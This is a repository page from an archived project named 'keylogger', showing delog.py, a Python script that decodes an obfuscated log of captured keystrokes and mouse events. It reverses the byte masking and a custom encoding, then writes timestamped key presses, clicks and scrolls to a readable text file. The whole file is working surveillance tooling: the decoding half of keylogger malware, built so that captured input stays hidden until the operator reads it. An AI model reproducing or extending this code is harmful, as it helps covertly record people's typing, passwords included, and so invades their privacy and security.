This repository has been archived on 2021-11-11. You can view files and clone it, but cannot push or open issues or pull requests.
keylogger/delog.py
Masahiko AMANO 0caef08c36 Init commit
2021-11-11 15:22:08 +03:00

267 lines
6.1 KiB
Python

from datetime import datetime
from os.path import dirname
from config import LOGPATH
def decode(cipher):
cipher = list(map(lambda byte: bin(byte)[2:].rjust(8, '0'), cipher))
stack = ''
plain = []
i = 0
while i < len(cipher):
byte = cipher[i]
if byte[0] == '1':
stack += byte[1:]
else:
tail = int(cipher[i + 1], 2)
neg = 1 - int(tail > 127) * 2
tail %= 128
plain.append(neg * int(stack + byte[-tail:], 2))
stack = ''
i += 1
i += 1
return plain
table = {
0xC1: 'Abnt C1',
0xC2: 'Abnt C2',
0xF6: 'Attn',
0x08: 'Backspace',
0x03: 'Break',
0x0C: 'Clear',
0xF7: 'Cr Sel',
0x6E: 'Numpad .',
0x6B: 'Numpad +',
0x6F: 'Numpad /',
0xF9: 'Er Eof',
0x1B: 'Esc',
0x2B: 'Execute',
0xF8: 'Ex Sel',
0xE6: 'IcoClr',
0xE3: 'IcoHlp',
0x30: '0',
0x31: '1',
0x32: '2',
0x33: '3',
0x34: '4',
0x35: '5',
0x36: '6',
0x37: '7',
0x38: '8',
0x39: '9',
0x41: 'A',
0x42: 'B',
0x43: 'C',
0x44: 'D',
0x45: 'E',
0x46: 'F',
0x47: 'G',
0x48: 'H',
0x49: 'I',
0x4A: 'J',
0x4B: 'K',
0x4C: 'L',
0x4D: 'M',
0x4E: 'N',
0x4F: 'O',
0x50: 'P',
0x51: 'Q',
0x52: 'R',
0x53: 'S',
0x54: 'T',
0x55: 'U',
0x56: 'V',
0x57: 'W',
0x58: 'X',
0x59: 'Y',
0x5A: 'Z',
0x6A: 'Numpad *',
0xFC: 'NoName',
0x60: 'Numpad 0',
0x61: 'Numpad 1',
0x62: 'Numpad 2',
0x63: 'Numpad 3',
0x64: 'Numpad 4',
0x65: 'Numpad 5',
0x66: 'Numpad 6',
0x67: 'Numpad 7',
0x68: 'Numpad 8',
0x69: 'Numpad 9',
0xBA: 'OEM_1 (: ;)',
0xE2: 'OEM_102 (> <)',
0xBF: 'OEM_2 (? /)',
0xC0: 'OEM_3 (~ `)',
0xDB: 'OEM_4 ({ [)',
0xDC: 'OEM_5 (| \\)',
0xDD: 'OEM_6 (} ])',
0xDE: 'OEM_7 (" \')',
0xDF: 'OEM_8 (§ !)',
0xF0: 'Oem Attn',
0xF3: 'Auto',
0xE1: 'Ax',
0xF5: 'Back Tab',
0xFE: 'OemClr',
0xBC: 'OEM_COMMA (< ,)',
0xF2: 'Copy',
0xEF: 'Cu Sel',
0xF4: 'Enlw',
0xF1: 'Finish',
0x95: 'Loya',
0x93: 'Mashu',
0x96: 'Roya',
0x94: 'Touroku',
0xEA: 'Jump',
0xBD: 'OEM_MINUS (_ -)',
0xEB: 'OemPa1',
0xEC: 'OemPa2',
0xED: 'OemPa3',
0xBE: 'OEM_PERIOD (> .)',
0xBB: 'OEM_PLUS (+ =)',
0xE9: 'Reset',
0xEE: 'WsCtrl',
0xFD: 'Pa1',
0xE7: 'Packet',
0xFA: 'Play',
0xE5: 'Process',
0x0D: 'Enter',
0x29: 'Select',
0x6C: 'Separator',
0x20: 'Space',
0x6D: 'Numpad -',
0x09: 'Tab',
0xFB: 'Zoom',
0xFF: 'NONE',
0x1E: 'Accept',
0x5D: 'Context Menu',
0xA6: 'Browser Back',
0xAB: 'Browser Favorites',
0xA7: 'Browser Forward',
0xAC: 'Browser Home',
0xA8: 'Browser Refresh',
0xAA: 'Browser Search',
0xA9: 'Browser Stop',
0x14: 'Caps Lock',
0x1C: 'Convert',
0x2E: 'Delete',
0x28: 'Arrow Down',
0x23: 'End',
0x70: 'F1',
0x71: 'F2',
0x72: 'F3',
0x73: 'F4',
0x74: 'F5',
0x75: 'F6',
0x76: 'F7',
0x77: 'F8',
0x78: 'F9',
0x79: 'F10',
0x7A: 'F11',
0x7B: 'F12',
0x7C: 'F13',
0x7D: 'F14',
0x7E: 'F15',
0x7F: 'F16',
0x80: 'F17',
0x81: 'F18',
0x82: 'F19',
0x83: 'F20',
0x84: 'F21',
0x85: 'F22',
0x86: 'F23',
0x87: 'F24',
0x18: 'Final',
0x2F: 'Help',
0x24: 'Home',
0xE4: 'Ico00',
0x2D: 'Insert',
0x17: 'Junja',
0x15: 'Kana',
0x19: 'Kanji',
0xB6: 'App1',
0xB7: 'App2',
0xB4: 'Mail',
0xB5: 'Media',
0x01: 'Left Button',
0xA2: 'Left Ctrl',
0x25: 'Arrow Left',
0xA4: 'Left Alt',
0xA0: 'Left Shift',
0x5B: 'Left Win',
0x04: 'Middle Button',
0xB0: 'Next Track',
0xB3: 'Play / Pause',
0xB1: 'Previous Track',
0xB2: 'Stop',
0x1F: 'Mode Change',
0x22: 'Page Down',
0x1D: 'Non Convert',
0x90: 'Num Lock',
0x92: 'Jisho',
0x13: 'Pause',
0x2A: 'Print',
0x21: 'Page Up',
0x02: 'Right Button',
0xA3: 'Right Ctrl',
0x27: 'Arrow Right',
0xA5: 'Right Alt',
0xA1: 'Right Shift',
0x5C: 'Right Win',
0x91: 'Scroll Lock',
0x5F: 'Sleep',
0x2C: 'Print Screen',
0x26: 'Arrow Up',
0xAE: 'Volume Down',
0xAD: 'Volume Mute',
0xAF: 'Volume Up',
0x05: 'X Button 1',
0x06: 'X Button 2'
}
with open(LOGPATH, 'rb') as file:
data = file.read()
data = list(map(lambda byte: (byte - 190) % 256, data))
data = decode(data)
data = list(map(lambda n: (n + 54) // 228, data))
i = 0
with open(dirname(LOGPATH) + '/log.txt', 'a', encoding='utf-8') as log:
while i < len(data):
if data[i] == -1: # click
x, y, time = data[i + 1:i + 4]
time = datetime.utcfromtimestamp(time / 1000).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
button = 'left' if x > 0 else 'right'
pressed = y > 0
x = abs(x)
y = abs(y)
log.write(f'\n{time}: Mouse button {button} {"pressed" if pressed else "unpressed"} ({x}, {y})')
i += 3
elif data[i] == -2: # scroll
x, y, dx, dy, time = data[i + 1:i + 6]
if dx > 0:
dx = 'left '
elif dx < 0:
dx = 'right '
if dy > 0:
dy = 'up'
elif dy < 0:
dy = 'down'
time = datetime.utcfromtimestamp(time / 1000).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
log.write(
f'\n{time}: Mouse scroll {dy if type(dy) == str else ""}{dx if type(dx) == str else " "}({x}, {y})')
i += 5
else: # key
vk, time = data[i:i + 2]
time = datetime.utcfromtimestamp(time / 1000).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
pressed = True
if vk < 0:
vk = -vk
pressed = False
if vk in table:
key = table[vk]
else:
key = '<Undefined>'
log.write(f'\n{time}: Key "{key}" {"pressed" if pressed else "released"}')
i += 1
i += 1